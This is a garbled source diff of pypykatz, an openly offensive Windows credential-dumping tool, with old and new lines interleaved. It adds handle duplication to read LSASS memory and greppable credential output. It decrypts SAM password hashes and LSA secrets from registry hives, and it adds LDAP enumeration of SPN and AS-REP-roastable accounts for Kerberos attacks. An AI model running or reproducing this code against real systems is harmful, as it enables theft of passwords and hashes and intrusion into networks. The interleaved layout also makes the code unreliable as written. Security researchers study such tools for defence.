17 self.verbose = 0
18 self.no_interactive = False
19 self.commands = ['login', 'i']
20
21 msldap_subcommand_list = []
22 msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" '
1223
1324 class LDAPCMDHelper:
1425 def __init__(self):
1627 self.keywords = ['ldap']
1728
1829 def add_args(self, parser, live_parser):
19 group = parser.add_parser('ldap', help='LDAP (live) related commands')
20 group.add_argument('credential', help= 'Credential to be used')
21 group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
22 group.add_argument('-o','--out-file', help= 'File to stroe results in')
23 group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
24 group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
30 group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
31 group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
32 group.add_argument('url', help="LDAP connection string")
33 group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
2534
26
27 live_group = live_parser.add_parser('ldap', help='LDAP (live) related commands')
28 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
29 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
30 live_group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
31 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
32 live_group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
33 live_group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
34
35 live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
36 live_group.add_argument('--host', help= 'Specify a custom logon server.')
37 live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
38 live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
40
3541 def execute(self, args):
3642 if args.command in self.keywords:
3743 self.run(args)
4147
4248
4349 def run_live(self, args):
44 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
45 from msldap.ldap_objects import MSADUser
46 from msldap import logger as msldaplogger
47 from pypykatz.commons.winapi.machine import LiveMachine
48
49 machine = LiveMachine()
50
51 if args.credential:
52 creds = MSLDAPCredential.from_connection_string(args.credential)
53 else:
54 creds = MSLDAPCredential.get_dummy_sspi()
55
56 if args.dc_ip:
57 target = MSLDAPTarget(args.dc_ip)
58 else:
59 target = MSLDAPTarget(machine.get_domain())
60
61 connection = MSLDAPConnection(creds, target)
62 connection.connect()
63
64 try:
65 adinfo = connection.get_ad_info()
66 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
67 except Exception as e:
68 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
69 domain = machine.get_domain()
70
71 if args.cmd == 'spn':
72 logging.debug('Enumerating SPN user accounts...')
73 cnt = 0
74 if args.out_file:
75 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
76 for user in connection.get_all_service_user_objects():
77 cnt += 1
78 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
79
50 from msldap.examples.msldapclient import amain
51 from winacl.functions.highlevel import get_logon_info
52 info = get_logon_info()
53
54 logonserver = info['logonserver']
55 if args.host is not None:
56 logonserver = args.host
57
58 la = LDAPCMDArgs()
59 la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
60 la.verbose = args.verbose
61
62 if args.verbose > 1:
63 print('Using the following auto-generated URL: %s' % la.url)
64 if args.commands is not None and len(args.commands) > 0:
65 la.commands = []
66 if args.commands[0] == 'help':
67 la.commands = ['help']
8068 else:
81 print('[+] SPN users')
82 for user in connection.get_all_service_user_objects():
83 cnt += 1
84 print('%s/%s' % (domain, user.sAMAccountName))
85
86 logging.debug('Enumerated %d SPN user accounts' % cnt)
87
88 elif args.cmd == 'asrep':
89 logging.debug('Enumerating ASREP user accounts...')
90 ctr = 0
91 if args.out_file:
92 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
93 for user in connection.get_all_knoreq_user_objects():
94 ctr += 1
95 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
96 else:
97 print('[+] ASREP users')
98 for user in connection.get_all_knoreq_user_objects():
99 ctr += 1
100 print('%s/%s' % (domain, user.sAMAccountName))
69 if args.commands[0] != 'login':
70 la.commands.append('login')
71
72 for command in args.commands:
73 la.commands.append(command)
10174
102 logging.debug('Enumerated %d ASREP user accounts' % ctr)
103
104 elif args.cmd == 'dump':
105 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
106 ctr = 0
107 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
108 if args.out_file:
109 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
110 writer = csv.writer(f, delimiter = '\t')
111 writer.writerow(attrs)
112 for user in connection.get_all_user_objects():
113 ctr += 1
114 writer.writerow(user.get_row(attrs))
115
116 else:
117 logging.debug('Are you sure about this?')
118 print('[+] Full user dump')
119 print('\t'.join(attrs))
120 for user in connection.get_all_user_objects():
121 ctr += 1
122 print('\t'.join([str(x) for x in user.get_row(attrs)]))
123
124
125 logging.debug('Enumerated %d user accounts' % ctr)
126
127 elif args.cmd == 'custom':
128 if not args.filter:
129 raise Exception('Custom LDAP search requires the search filter to be specified!')
130 if not args.attrs:
131 raise Exception('Custom LDAP search requires the attributes to be specified!')
132
133 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
134 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
135 ctr = 0
136
137 if args.out_file:
138 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
139 writer = csv.writer(f, delimiter = '\t')
140 writer.writerow(args.attrs)
141 for obj in connection.pagedsearch(args.filter, args.attrs):
142 ctr += 1
143 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
144
145 else:
146 for obj in connection.pagedsearch(args.filter, args.attrs):
147 ctr += 1
148 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
149
150 logging.debug('Custom search yielded %d results!' % ctr)
75 asyncio.run(amain(la))
15176
15277 def run(self, args):
153 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
154 from msldap.ldap_objects import MSADUser
155 from msldap import logger as msldaplogger
156
157 if not args.credential:
158 raise Exception('You must provide credentials when using ldap in platform independent mode.')
159
160 creds = MSLDAPCredential.from_connection_string(args.credential)
161 target = MSLDAPTarget.from_connection_string(args.credential)
162
163 connection = MSLDAPConnection(creds, target)
164 connection.connect()
165
166 try:
167 adinfo = connection.get_ad_info()
168 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
169 except Exception as e:
170 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
171 domain = machine.get_domain()
172
173 if args.cmd == 'spn':
174 logging.debug('Enumerating SPN user accounts...')
175 cnt = 0
176 if args.out_file:
177 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
178 for user in connection.get_all_service_user_objects():
179 cnt += 1
180 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
181
78 from msldap.examples.msldapclient import amain
79 la = LDAPCMDArgs()
80 la.url = args.url
81 la.verbose = args.verbose
82 if args.commands is not None and len(args.commands) > 0:
83 la.commands = []
84 if args.commands[0] == 'help':
85 la.commands = ['help']
18286 else:
183 print('[+] SPN users')
184 for user in connection.get_all_service_user_objects():
185 cnt += 1
186 print('%s/%s' % (domain, user.sAMAccountName))
187
188 logging.debug('Enumerated %d SPN user accounts' % cnt)
189
190 elif args.cmd == 'asrep':
191 logging.debug('Enumerating ASREP user accounts...')
192 ctr = 0
193 if args.out_file:
194 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
195 for user in connection.get_all_knoreq_user_objects():
196 ctr += 1
197 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
198 else:
199 print('[+] ASREP users')
200 for user in connection.get_all_knoreq_user_objects():
201 ctr += 1
202 print('%s/%s' % (domain, user.sAMAccountName))
203
204 logging.debug('Enumerated %d ASREP user accounts' % ctr)
205
206 elif args.cmd == 'dump':
207 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
208 ctr = 0
209 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
210 if args.out_file:
211 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
212 writer = csv.writer(f, delimiter = '\t')
213 writer.writerow(attrs)
214 for user in connection.get_all_user_objects():
215 ctr += 1
216 writer.writerow(user.get_row(attrs))
217
218 else:
219 logging.debug('Are you sure about this?')
220 print('[+] Full user dump')
221 print('\t'.join(attrs))
222 for user in connection.get_all_user_objects():
223 ctr += 1
224 print('\t'.join([str(x) for x in user.get_row(attrs)]))
225
226
227 logging.debug('Enumerated %d user accounts' % ctr)
228
229 elif args.cmd == 'custom':
230 if not args.filter:
231 raise Exception('Custom LDAP search requires the search filter to be specified!')
232 if not args.attrs:
233 raise Exception('Custom LDAP search requires the attributes to be specified!')
234
235 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
236 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
237 ctr = 0
238
239 if args.out_file:
240 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
241 writer = csv.writer(f, delimiter = '\t')
242 writer.writerow(args.attrs)
243 for obj in connection.pagedsearch(args.filter, args.attrs):
244 ctr += 1
245 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
246
247 else:
248 for obj in connection.pagedsearch(args.filter, args.attrs):
249 ctr += 1
250 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
251
252 logging.debug('Custom search yielded %d results!' % ctr)
253
87 if args.commands[0] != 'login':
88 la.commands.append('login')
89
90 for command in args.commands:
91 la.commands.append(command)
92
93 asyncio.run(amain(la))
2828 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
2929 live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
3030 live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
31 live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'LSASS process access method')
3132
3233 group = parser.add_parser('lsa', help='Get secrets from memory dump')
3334 group.add_argument('cmd', choices=['minidump','rekall'])
143144 if args.module == 'lsa':
144145 filename = 'live'
145146 try:
146 mimi = pypykatz.go_live()
147 if args.method == 'procopen':
148 mimi = pypykatz.go_live()
149 elif args.method == 'handledup':
150 mimi = pypykatz.go_handledup()
151 if mimi is None:
152 raise Exception('HANDLEDUP failed to bring any results!')
147153 results['live'] = mimi
148154 except Exception as e:
149155 files_with_error.append(filename)
9191 self.log('Looking for main struct signature in memory...')
9292 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
9393 if len(fl) == 0:
94 logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
94 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
9595 raise Exception('LSA signature not found!')
9696
9797 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
4242 self.log('Looking for main struct signature in memory...')
4343 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
4444 if len(fl) == 0:
45 logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
45 logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
4646 raise Exception('LSA signature not found!')
4747
4848 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
372372 continue
373373
374374 self.walk_list(entry_ptr, self.add_entry)
375
376 #self.brute_test()
377
378 #def brute_test(self):
379 # from pypykatz.commons.win_datatypes import LUID
380 # luid_int = 1138792
381 # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False)
382 # needle_luid = LUID(io.BytesIO(luid_bytes)).value
383 # offset = 0x70
384 #
385 # for luid_pos in self.reader.find_all_global(luid_bytes):
386 # self.reader.move(luid_pos - offset)
387 # et = self.decryptor_template.list_entry(self.reader).finaltype
388 # self.reader.move(luid_pos - offset)
389 # test_ptr = et(self.reader)
390 # if test_ptr.LocallyUniqueIdentifier == needle_luid:
391 # print('HIT!')
392 # entry_ptr = self.decryptor_template.list_entry(self.reader)
393 # try:
394 # self.walk_list(test_ptr.Flink, self.add_entry)
395 # except Exception as e:
396 # print('ERR! %s' % e)
1313 TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
1414 DpapiTemplate, DpapiDecryptor, LsaDecryptor
1515
16 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
1617 from pypykatz import logger
1718 from pypykatz.commons.common import UniversalEncoder
1819 from minidump.minidumpfile import MinidumpFile
4546 return t
4647
4748 def to_json(self):
48 return json.dumps(self.to_dict(), cls = UniversalEncoder)
49
49 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
50
51 def to_grep(self):
52 res = ':'.join(LogonSession.grep_header) + '\r\n'
53 for luid in self.logon_sessions:
54 for row in self.logon_sessions[luid].to_grep_rows():
55 res += ':'.join(row) + '\r\n'
56 for cred in self.orphaned_creds:
57 t = cred.to_dict()
58 if t['credtype'] != 'dpapi':
59 if t['password'] is not None:
60 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
61 res += ':'.join(x) + '\r\n'
62 else:
63 t = cred.to_dict()
64 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
65 res += ':'.join(x) + '\r\n'
66
67 return res
68
69 def __str__(self):
70 res = '== Logon credentials ==\r\n'
71 for luid in self.logon_sessions:
72 res += str(self.logon_sessions[luid]) + '\r\n'
73
74 if len(self.orphaned_creds) > 0:
75 res += '== Orphaned credentials ==\r\n'
76 for cred in self.orphaned_creds:
77 res += str(cred) + '\r\n'
78
79 return res
80
5081 @staticmethod
5182 def go_live():
5283 if platform.system() != 'Windows':
5384 raise Exception('Live parsing will only work on Windows')
5485 from pypykatz.commons.readers.local.live_reader import LiveReader
5586 reader = LiveReader()
87 sysinfo = KatzSystemInfo.from_live_reader(reader)
88 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
89 mimi.start()
90 return mimi
91
92 @staticmethod
93 def go_handledup():
94 if platform.system() != 'Windows':
95 raise Exception('Live parsing will only work on Windows')
96 from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles
97 lsass_handles = enum_lsass_handles()
98 if len(lsass_handles) == 0:
99 raise Exception('No handles found to LSASS!')
100 for pid, lsass_handle in lsass_handles:
101 try:
102 return pypykatz.go_live_phandle(lsass_handle)
103 except Exception as e:
104 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
105
106 @staticmethod
107 def go_live_phandle(lsass_process_handle):
108 if platform.system() != 'Windows':
109 raise Exception('Live parsing will only work on Windows')
110 from pypykatz.commons.readers.local.live_reader import LiveReader
111 reader = LiveReader(lsass_process_handle=lsass_process_handle)
56112 sysinfo = KatzSystemInfo.from_live_reader(reader)
57113 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
58114 mimi.start()
169225
170226 def get_lsa_bruteforce(self):
171227 #good luck!
172 logger.info('Testing all available templates! Expect warnings!')
228 logger.debug('Testing all available templates! Expect warnings!')
173229 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
174230 try:
175231 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
177233 except:
178234 pass
179235 else:
180 logger.info('Lucky you! Brutefoce method found a -probably- working template!')
236 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
181237 return lsa_dec
182238
183239 def get_lsa(self):
186242 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
187243 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
188244 logger.debug(lsa_dec.dump())
189 except:
190 logger.exception('Failed to automatically detect correct LSA template!')
245 except Exception as e:
246 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
191247 lsa_dec = self.get_lsa_bruteforce()
192248 if lsa_dec is None:
193249 raise Exception('All detection methods failed.')
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import json
7 from aiowinreg.ahive import AIOWinRegHive
8
9 from pypykatz.registry import logger
10 from pypykatz.commons.common import UniversalEncoder
11 from pypykatz.registry.sam.asam import *
12 from pypykatz.registry.security.asecurity import *
13 from pypykatz.registry.system.asystem import *
14 from pypykatz.registry.software.asoftware import *
15
16
17 class OffineRegistry:
18 """
19 This class represents an offline registry
20 You will need to set at least the SYSTEM hive (to get bootkey)
21 In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well.
22 """
23 def __init__(self):
24 self.sam_hive = None
25 self.security_hive = None
26 self.system_hive = None
27 self.software_hive = None
28
29 self.system = None
30 self.sam = None
31 self.security = None
32 self.software = None
33
34 async def get_secrets(self):
35 self.system = SYSTEM(self.system_hive)
36 bootkey = await self.system.get_bootkey()
37
38 if self.sam_hive:
39 self.sam = SAM(self.sam_hive, bootkey)
40 await self.sam.get_secrets()
41
42 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
44 await self.security.get_secrets()
45
46 if self.software_hive:
47 self.software = SOFTWARE(self.software_hive, bootkey)
48 await self.software.get_default_logon()
49
50 def to_file(self, file_path, json_format = False):
51 with open(file_path, 'w', newline = '') as f:
52 if json_format == False:
53 f.write(str(self))
54 else:
55 f.write(self.to_json())
56
57 def to_json(self):
58 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
59
60 def to_dict(self):
61 t = {}
62 t['SYSTEM'] = self.system.to_dict()
63 if self.sam:
64 t['SAM'] = self.sam.to_dict()
65 if self.security:
66 t['SECURITY'] = self.security.to_dict()
67 if self.software:
68 t['SOFTWARE'] = self.software.to_dict()
69 return t
70
71
72 def __str__(self):
73 t = str(self.system)
74 if self.sam:
75 t += str(self.sam)
76 if self.security:
77 t += str(self.security)
78 if self.software:
79 t += str(self.software)
80 return t
81
82 @staticmethod
83 async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None):
84 po = OffineRegistry()
85 po.system_hive = AIOWinRegHive(system_reader)
86 await po.system_hive.setup()
87
88 if sam_reader is not None:
89 po.sam_hive = AIOWinRegHive(sam_reader)
90 await po.sam_hive.setup()
91
92 if security_reader is not None:
93 po.security_hive = AIOWinRegHive(security_reader)
94 await po.security_hive.setup()
95
96 if software_reader is not None:
97 po.software_hive = AIOWinRegHive(software_reader)
98 await po.software_hive.setup()
99
100 await po.get_secrets()
101
102 return po
103
104
105
106 if __name__ == '__main__':
107 po = OffineRegistry.from_live_system()
108 print(str(po))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 import io
8 from pypykatz.registry.sam.structures import *
9 from pypykatz.crypto.RC4 import RC4
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.crypto.des import des, expand_DES_key
12
13 #####
14 from pypykatz.registry.sam.structures import *
15 from pypykatz.registry.sam.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.win_datatypes import SID
18
19 #
20 # The SAM hive holds the hashed passwords of the LOCAL machine users
21 # There are alwas some local users present on your machine, regardless if it's domain-enrolled
22 #
23 # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs.
24 # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes
25 #
26
27 class SAM:
28 def __init__(self, sam_hive, bootkey):
29 self.hive = sam_hive
30 self.bootkey = bootkey
31 self.hashed_bootkey = None
32 self.machine_sid = None
33 self.secrets = []
34
35 @staticmethod
36 def rid_to_key(rid):
37 key = int(rid, 16).to_bytes(4, 'little', signed = False)
38 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
39 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
40 return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2))
41
42 def decrypt_hash(self, rid, hashobj, constant):
43 key1, key2 = SAM.rid_to_key(rid)
44 des1 = des(key1)
45 des2 = des(key2)
46
47 if isinstance(hashobj, SAM_HASH):
48 rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
49 key = RC4(rc4key).encrypt(hashobj.hash)
50
51 else:
52 key = b''
53 cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
54 n = 16
55 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround
56 key += cipher.decrypt(block)
57
58 key = key[:16]
59
60 dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:])
61 return dec_hash
62
63 async def get_HBoot_key(self):
64 logger.debug('SAM parsing hashed bootkey')
65 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
66 DIGITS = b"0123456789012345678901234567890123456789\0"
67
68 F = await self.hive.get_value(r'SAM\Domains\Account\F')
69 F = F[1]
70 logger.log(1,'[SAM] F key value: %s' % F)
71
72 domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F)
73
74 if isinstance(domain_properties.key_0, SAM_KEY_DATA):
75 rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest()
76 self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum)
77
78 checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest()
79
80 if checksum != self.hashed_bootkey[16:]:
81 logger.error('[SAM] HBootkey checksum verification failed!')
82 raise Exception('[SAM] HBootkey checksum verification failed!')
83
84 elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
85 self.hashed_bootkey = b''
86 cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
87 n = 16
88 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround
89 self.hashed_bootkey += cipher.decrypt(block)
90
91 logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex())
92 return self.hashed_bootkey
93
94 async def get_machine_sid(self):
95 # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS
96 # TODO: implement this
97 try:
98 uac_data = await self.hive.get_value('SAM\\Domains\\Account\\V')
99 uac_data = uac_data[1]
100 uac_data = uac_data[-12:]
101 p1 = int.from_bytes( uac_data[:4], 'little', signed = False)
102 p2 = int.from_bytes( uac_data[4:8], 'little', signed = False)
103 p3 = int.from_bytes(uac_data[8:12], 'little', signed = False)
104 self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3)
105 except Exception as e:
106 import traceback
107 traceback.print_exc()
108 return self.machine_sid
109
110 async def get_secrets(self):
111 logger.debug('SAM get_secrets invoked')
112 NTPASSWORD = b"NTPASSWORD\0"
113 LMPASSWORD = b"LMPASSWORD\0"
114
115 NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0'
116 LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee'
117
118 await self.get_HBoot_key()
119 await self.get_machine_sid()
120
121 names = await self.hive.enum_key('SAM\\Domains\\Account\\Users')
122 for rid in names:
123 uac = None
124 if rid == 'Names':
125 continue
126
127 key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid
128 logger.debug('[SAM] Parsing secrets for RID: %s' % rid)
129 uac_data = await self.hive.get_value(key_path)
130 uac_data = uac_data[1]
131 uac = USER_ACCOUNT_V.from_bytes(uac_data)
132
133 nthash = bytes.fromhex(NTDEFAULT)
134 lmhash = bytes.fromhex(LMDEFAULT)
135 if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES):
136 if uac.NT_hash.data != b'':
137 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
138 elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH):
139 if uac.NT_hash.hash != b'':
140 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
141
142 if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES):
143 if uac.LM_hash.data != b'':
144 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
145
146 elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH):
147 if uac.LM_hash.hash != b'':
148 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
149
150 secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash)
151 self.secrets.append(secret)
152
153 return self.secrets
154
155 def to_dict(self):
156 t = {}
157 t['HBoot_key'] = self.hashed_bootkey
158 t['local_users'] = []
159 for secret in self.secrets:
160 t['local_users'].append( secret.to_dict())
161 return t
162
163 def __str__(self):
164 t = '============== SAM hive secrets ==============\r\n'
165 t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex()
166 for secret in self.secrets:
167 t += '%s\r\n' % secret.to_lopth()
168 return t
169
170
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import json
56
67 class SAMSecret:
78 def __init__(self, username, rid, nt_hash, lm_hash):
195195 self.homedir = None
196196 self.homedir_connect = None
197197 self.script_path = None
198 self.profile_path = None
199198 self.profile_path = None
200199 self.workstations = None
201200 self.hoursallowed = None
374373 t += ' %s: %s: %s' % (k, i, str(item))
375374 else:
376375 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
377 return t
376 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 from pypykatz.registry.sam.structures import *
8 from pypykatz.crypto.RC4 import RC4
9 from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
10 from pypykatz.crypto.des import *
11
12
13 #####
14 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.common import hexdump
18
19 #
20 # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine
21 # It also holds the machine account's password in an encrypted form
22 #
23 # The LSA secrets also stored here, but their format is not always documented,
24 # as this functionality can be used by any service that wants to stroe some secret information
25
26 class SECURITY:
27 def __init__(self, security_hive, bootkey):
28 self.hive = security_hive
29 self.bootkey = bootkey
30
31 self.dcc_iteration_count = 10240
32 self.lsa_secret_key_vista_type = True
33
34 self.lsa_key = None
35 self.NKLM_key = None
36
37 self.dcc_hashes = []
38 self.cached_secrets = []
39
40 @staticmethod
41 def sha256_multi(key, value, rounds = 1000):
42 ctx = hashlib.sha256(key)
43 for _ in range(rounds):
44 ctx.update(value)
45 return ctx.digest()
46
47 def decrypt_lsa_key(self, data):
48 logger.debug('[SECURITY] Decrypting LSA key...')
49 if self.lsa_secret_key_vista_type is True:
50 record = LSA_SECRET.from_bytes(data)
51 key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
52 secret_dec = b''
53 cipher = AESModeOfOperationECB(key)
54 n = 16
55 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
56 if len(block) < n:
57 block += b'\x00' * (n - len(block))
58 secret_dec += cipher.decrypt(block)
59 record = LSA_SECRET_BLOB.from_bytes(secret_dec)
60 self.lsa_key = record.secret[52:][:32]
61
62 else:
63 ctx = hashlib.md5(self.bootkey)
64 for i in range(1000):
65 ctx.update(data[60:76])
66
67 cipher = RC4(ctx.digest())
68 record = cipher.decrypt(data[12:60])
69 self.lsa_key = record[0x10:0x20]
70
71 logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex())
72 return self.lsa_key
73
74
75 async def get_lsa_key(self):
76 logger.debug('[SECURITY] Fetching LSA key...')
77 value = await self.hive.get_value('Policy\\PolEKList\\default', False)
78 if value is None:
79 value = await self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False)
80 if not value:
81 logger.debug('[SECURITY] LSA key not found!')
82 return None
83
84 self.lsa_secret_key_vista_type = False
85 logger.debug('[SECURITY] LSA secrets default to VISTA type')
86
87 return self.decrypt_lsa_key(value[1])
88
89
90 def decrypt_secret(self, key, value):
91 dec_blob = b''
92 enc_size = int.from_bytes(value[:4], 'little', signed = False)
93 value = value[len(value) - enc_size:]
94 t_key = key
95 for _ in range(0, len(value), 8):
96 enc_blob = value[:8]
97 des_key = expand_DES_key(t_key[:7])
98 ctx = des(des_key)
99 dec_blob += ctx.decrypt(enc_blob)
100 t_key = t_key[7:]
101 value = value[8:]
102 if len(t_key) < 7:
103 t_key = key[len(t_key) : ]
104
105 secret = LSA_SECRET_XP.from_bytes(dec_blob)
106 return secret.secret
107
